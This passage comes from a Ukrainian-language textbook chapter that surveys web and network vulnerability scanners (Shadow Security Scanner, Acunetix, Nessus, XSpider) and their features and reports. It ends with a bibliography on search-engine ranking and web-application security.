3. Завантажити з описом. Під цим посиланням ховається pdf-файл у

якому розписана кожна вразливість з описом і методами рішення. Цей

файл необхідно передати адміністратору сайту, щоб він мав можливість

більш детально дізнатися про вразливість і спосіб її усунення.

167

Результат сканування сайта

10.2 Сканер Shadow Security

Цей сканер виявляє проломи в системі безпеки серверів як на

платформі * Unix, так і на платформі Windows. Shadow Security Scanner

має унікальну технологію виявлення можливих дірок в системі. На даний

момент база складає майже 10000 аудитів. В неї входить аудит таких

модулів як TCP / IP, UDP, FTP, DNS, SMTP, POP3, HTTP, CGI, NetBIOS,

Registry, Users accounts, Password checks, Services, LDAP, DoS атаки і

багато іншого. Також є генератор звітів. Програма підтримує російську

мову.

Приклади використання Shadow Security Scanner

168

Налаштування правил сканування

10.3 Acunetix Web Vulnerability Scanner

Компанія Acunetix - всесвітній лідер захисту Веб-додатків. Компанія

стала першовідкривачем у сфері дослідження технологій захисту Веб-

додатків. Ще з 1997 року компанія сконцентрувала свою діяльність на

захисті веб-сайтів і поступово вдосконалила технічні переваги у тестуванні

веб-сайтів та виявленні вразливих місць у системі їх захисту. Acunetix Web

Vulnerability Scanner володіє такими інноваційними характеристиками:

• Автоматичний аналізатор JavaScript, що робить безпечне тестування

додатків Ajax і Web 2.0

• Найбільш удосконалене тестування SQL ін'єкцій та Cross site scripting

• Visual macro recorder, що дозволяє побачити, в яких саме місцях були

знайдені помилки полегшує роботу над веб-бланками і сторінками,

захищеними паролями

• Програми докладних звітів, включаючи звіти відповідають стандартам

VISA PCI

169

• багатопотоковий сканер, здатний з блискавичною швидкістю ретельно

перевірити сотні тисяч сторінок

• Пошуковий агент, який визначає тип веб-сервера і мову програми

• Дослідження та аналіз вмісту веб-сайтів, включаючи flash content протокол

SOAP і AJAX

Acunetix робить перевірку всіх вразливих місць веб-сайту,

включаючи перевірку SQL ін'єкцій, Cross site scripting та інших вразливих

місць у системі захисту веб-сайтів.

Для виявлення даних вразливостей, необхідний комплексний двигун.

Основним у процесі перевірки сайта є не тільки кількість вразливостей, які

сканер здатний виявити, а також комплексність і ретельність запуску

різноманітних SQL ін'єкцій, Cross site scripting та інших хакерських атак.

Acunetix має вдосконалений програмний код, що дозволяє з високою

швидкістю і з найменшою вірогідністю помилкового результату знайти

вразливі місця в системі захисту веб-сайту. Також він дозволяє виявити

CRLF ін'єкції, Code execution, Directory Traversal, File inclusion та

вразливості при аутентифікації.

Екран при скануванні Web-сайтів надано на рисунку

Перевірка AJAX та технологій Web 2.0 на вразливості

Сучасний аналізатор JavaScript дозволяє всебічно перевірити новітні

та найбільш складні AJAX та Web 2.0 Веб-додатки та знайти вразливі

місця.

Детальні звіти, що дозволяють знайти відповідності прийнятим

стандартам

Acunetix Web Vulnerability Scanner має схему докладних звітів, які

крім усього також показують, чи відповідають Ваші Веб-додатки новим

вимогам і стандартам VISA PCI.

170

Перевірка Вашого веб-сайту на захищеність від The Google

Hacking Database

The Google Hacking Database (GHDB) - база запитів, якими

користуються хакери для виявлення незахищених даних на Вашому веб-

сайті. До них відносяться сторінки реєстрацій на порталах, файли подій і

так далі. Acunetix запускає GHDB запити на Ваш веб-сайт і розпізнає

незахищені дані або дані, схильні до використання до того, як це зробить

пошукова програма хакера.

Можливість налаштування програми тестування

Окрім програми автоматичного сканування, Acunetix також має

вдосконалені сервісні модулі, що дозволяють тестувальником з точністю

налаштувати перевірку безпеки Веб-додатків:

• HTTP Editor - за допомогою цієї сервісної програми Ви зможете без

особливих зусиль зробити HTTP/HTTPS запити і проаналізувати реакцію

Інтернет-сервера

• HTTP Sniffer - зупиняти, розпізнавати і модифікувати весь мережевий

трафік HTTP/HTTPS і виявляти всю інформацію, надіслану Веб-додатком

• HTTP Fuzzer - Виконує всебічну перевірку переповнення буфера і

правильності введення даних. Легко налаштовуються правила http Fuzzer

дозволяють тестувати тисячі вхідних змінних. Тестування, які зазвичай

займають цілі дні, зараз можуть бути виконані протягом декількох хвилин.

• Ви можете також створити схему індивідуальної атаки або ж модифіковані

вже існуючу за допомогою Web Vulnerability Editor

Тестування сторінок, захищених паролями, а також веб-форм за

допомогою програми автоматичного заповнення веб-форм HTML

Acunetix Web Vulnerability Scanner автоматично заповнює веб-форми

і поля веб-реєстрації. Більшість інших сканерів нездатні цього зробити або

вимагають написання складних програм для тестування таких сторінок.

171

Але з Acunetix все набагато простіше: за допомогою макро записуючого

пристрою Ви зможете записати реєстрацію або процес заповнення форм і

зберегти послідовність. Під час процесу тестування сканер знову

відтворить цю послідовність, а також автоматично заповнить веб-форму

або увійде на сторінку, захищену паролем.

Ще більше вдосконалених характеристик

• тестуючі профілі без особливих зусиль перевіряють веб-сайти з різними

скануючими опціями і особливостями

• Розвинена система звітності

• Порівняння і пошук відмінностей від результатів сканування попередніми

версіями

• Програма без особливих зусиль здійснює додаткові перевірки змін веб-

сайту

• Виявлення каталогів (директорій), доступ до яких є небажаним

• Програма знаходить популярні Веб-додатки (наприклад, форуми, кошики

для віртуальних покупок) і виявляє вразливі версії

• Визначення, небезпечні HTTP методи, активовані на Вашому веб-сервері

10.4 Сканер Nessus

Сканер представляє з себе клієнт-серверну архітектуру. Відповідно

до проведеного порталом securitylab.ru опитуванням, nessus

використовують 17% респондентів.

Перш за все використовується для сканування портів і визначає

сервіси, що використовують їх. Так само проводиться перевірка сервісів по

базі вразливостей. Для тестування вразливостей використовуються

спеціальні плагини, написані на мові NASL (Nessus Attack Scripting

Language).

172

База вразливостей оновлюється щотижня, проте для комерційних

абонентів є можливість завантажувати нові плагіни без семиденної

затримки.

При відключеній опції "safe checks" деякі тести на вразливості, що

використовуються nessus можуть привести до порушень в роботі

сканованих систем.

Ранні версії поширюються за ліцензією GPL. Нові версії є

комерційним продуктом.

10.5 Сканер вразливостей XSpider 7

XSpider може в повністю автоматичному режимі перевіряти

комп'ютери і сервіси в мережі на предмет виявлення вразливостей. База

вразливостей постійно поповнюється фахівцями Positive Technologies, що в

173

сумі з автоматичним оновленням баз і модулів програми постійно

підтримує актуальність версії XSpider.

XSpider може виконувати перевірки за розкладом. Таким чином,

налаштувавши планувальник XSpider, автоматичне оновлення і надсилати

звіти про результати перевірки поштою або їхнє збереження на мережному

диску, можна значно полегшити процес виявлення вразливостей. Це

дозволить сконцентрувати свою увагу на боротьбі з уже виявленими

вразливими місцями та оновленні програмного забезпечення. У цьому

XSpider надає так само неоціненну допомогу, виводячи до звіту про

результати перевірки не тільки інформацію про знайдену вразливості, але і

посилання, наприклад, на статті на сайті Microsoft, які описують виявлену

XSpider вразливість і дають рекомендації по її усуненню.

Кожне налаштоване завдання зберігається у файлі. Якщо

запланований запуск завдання з Планувальника, то результат її виконання

буде збережений у файлі .tsk, який може бути відкритий у будь-який час за

допомогою XSpider. У файлі зберігається результат не тільки останньої

перевірки хоста або хостів, а вся історія перевірок. Таким чином, можна

контролювати зміни рівня безпеки після ліквідації виявлених раніше

вразливостей і поновлення операційних систем і сервісів.

174

Приклад завантаженого завдання показаний на малюнку нижче.

У даному прикладі на Windows XP SP2 з увімкненим файрволом був

встановлений Apache, PHP, mySQL, безкоштовний скрипт для підписки на

новини, демоверсія поштового сервера MERAK Mail Server

(SMTP/ESMTP/POP3/IMAP4) з модулем віддаленого управління і

налаштуваннями за замовчуванням, Remote Administrator 2.2 від компанії

FamaTech. Для цієї перевірки був створений профіль, в якому було

включено сканування всіх портів хоста і пошук всіх можливих

вразливостей. В результаті аудиту було виявлено багато нарікань до

скрипту підписки на новини і був виявлений паблік-релей на поштовому

сервері (так як настроювання сервера після його встановлення не

виконувалася). Всі інші сервіси, які працюють на тестовому комп'ютері,

були виявлені і безпомилково ідентифіковані.

175

У результатах перевірки, крім інформації про виявлені вразливості,

були наведені посилання на опис вразливості на сайтах, що

спеціалізуються на безпеці і дані посилання на завантаження оновлених

версій програмного забезпечення.

У другому тесті аудиту був підданий хост з ОС Windows XP без

сервіс-пака з відключеним брандмауером. Вкладка Вразливості головного

вікна XSpider показана на малюнку нижче.

У ході сканування було виявлено кілька критичних вразливостей. У

результатах роботи були дані посилання статті в Базі знань Microsoft, які

описують виявлену вразливість і посилання для завантаження виправлень,

що усувають ці вразливості.

XSpider пропонує на вибір декілька стандартних типів звітів про

результати перевірки.

176

Література

1. Search Engine Journal, 130 параметрів алгоритму ранжування сайтів

від Google http://blog.grandrating.ru/posts/130-parametrov-algoritma-

google

2. Chris Ridings, Александр Садовский. Растолкованный PageRank

http://digits.ru/articles/promotion/pagerank.html

3. Евгений Трофименко, PageRank: начала анализа

http://promosite.ru/articles/pagerank-begin.php

4. Эдуард Снежинский, Огляд нового алгоритму Яндекс "Снежинск"

5. http://koriaga.blogspot.com/2009/11/blog-post.html

6. Ли Якокки, Мета-теги Description, Keywords, тег Title та їх значення.

7. http://www.bontonweb.com/seo/meta-tegi-descriptin-keywords-i-teg-title-

i-ix-znachenie- dlya-optimizacii-sajta.html

8. Методика складання рейтингу наукових установ Cybermetrics Lab

9. http://www.webometrics.info/methodology.html

10. Методика складання рейтингу наукових установ Shanghai Jiao Tong

University

http://www.arwu.org/rank2009/ARWU2009Methodology(EN).htm

177

11. Sergey Brin and Lawrence Page. The Anatomy of a Large-Scale

Hypertextual Web Search Engine, Computer Science Department,

Stanford University, Stanford, CA 94305, USA, 2000

12. Методика Alexa the Web Information Company

http://www.alexa.com/siteinfo

13. Девід А. Вайз, Марк Малсід. Google. Прорив в дусі часу.

Видавництво «Ексмо», Москва, 2007.

14. hiteHat Website Security Statistics Report. – Режим доступа:

http://www.whitehatsec.com/home/resource/stats.html

15. The Open Source Vulnerability Database. – Режим доступа:

http://osvdb.org/

16. Cross-site Scripting (XSS). – Режим доступа:

http://www.owasp.org/index.php/XSS

17. SQL Injection. – Режим доступа:

http://www.owasp.org/index.php/SQL_Injection

18. Fuzzing – Режим доступа: http://www.owasp.org/index.php/Fuzzing

19. Wiegenstein, F. Weidemann, Dr. M. Schumacher, S. Schinzel Web

Application Vulnerability Scanners - a Benchmark – 2006 – 5p – Режим

доступа:

http://www.virtualforge.de/whitepapers/web_scanner_benchmark.pdf

20. Robert Abela How to choose a web vulnerability scanner – Режим

доступа: http://www.net-security.org/article.php?id=1534

21. Nikto v2.1.3 - The Manual – Режим доступа: http://cirt.net/nikto2-docs/

22. w3af User Guide – Режим доступа:

http://w3af.sourceforge.net/documentation/user/w3afUsersGuide.pdf

23. Finding the right web application scanner; why black box scanning is not

enough – Режим доступа:

http://www.acunetix.com/websitesecurity/rightwvs.htm

178

24. PHP language– Режим доступа: http://php.net/

25. FPDF Library – Режим доступа: http://www.fpdf.org/

26. Smarty Template Engine – Режим доступа: http://www.smarty.net/

27. Mail_Mime package – Режим доступа:

http://pear.php.net/package/Mail_Mime/

28. Документация по Java Script – Режим доступа:

https://developer.mozilla.org/ru/JavaScript

29. Jquery documentation – Режим доступа: http://jquery.com/